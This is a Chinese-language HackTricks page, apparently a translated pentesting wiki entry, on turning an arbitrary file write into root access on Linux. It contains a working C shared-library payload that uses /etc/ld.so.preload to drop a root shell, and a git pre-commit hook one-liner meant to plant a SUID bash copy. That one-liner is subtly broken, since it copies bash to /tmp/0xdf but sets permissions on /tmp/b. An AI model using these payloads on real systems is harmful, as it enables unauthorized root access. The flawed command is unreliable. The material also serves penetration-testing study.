hacktricks/linux-hardening/privilege-escalation/write-to-root.md

3.5 KiB
Raw Permalink Blame History

提权至Root的任意文件写入

{% hint style="success" %} 学习并练习AWS黑客技术HackTricks 培训 AWS 红队专家 (ARTE)
学习并练习GCP黑客技术HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

/etc/ld.so.preload

该文件类似于 LD_PRELOAD 环境变量,但也适用于 SUID 二进制文件
如果你可以创建或修改它,只需添加一个将与每个执行的二进制文件一起加载的库的路径

例如:echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git hooks

Git hooks是在git存储库中的各种事件上运行的脚本,比如创建提交、合并等。因此,如果一个特权脚本或用户频繁执行这些操作并且可以写入.git文件夹,这可能被用于提权

例如可以在git存储库的**.git/hooks**中生成一个脚本,这样在创建新提交时它总是被执行:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron & Time files

待办事项

Service & Socket files

待办事项

binfmt_misc

位于/proc/sys/fs/binfmt_misc的文件指示应该执行哪种类型的文件。待办事项检查滥用此功能以在打开常见文件类型时执行反向shell的要求。

{% hint style="success" %} 学习并练习AWS黑客技术HackTricks培训AWS红队专家ARTE
学习并练习GCP黑客技术HackTricks培训GCP红队专家GRTE

支持HackTricks
{% endhint %}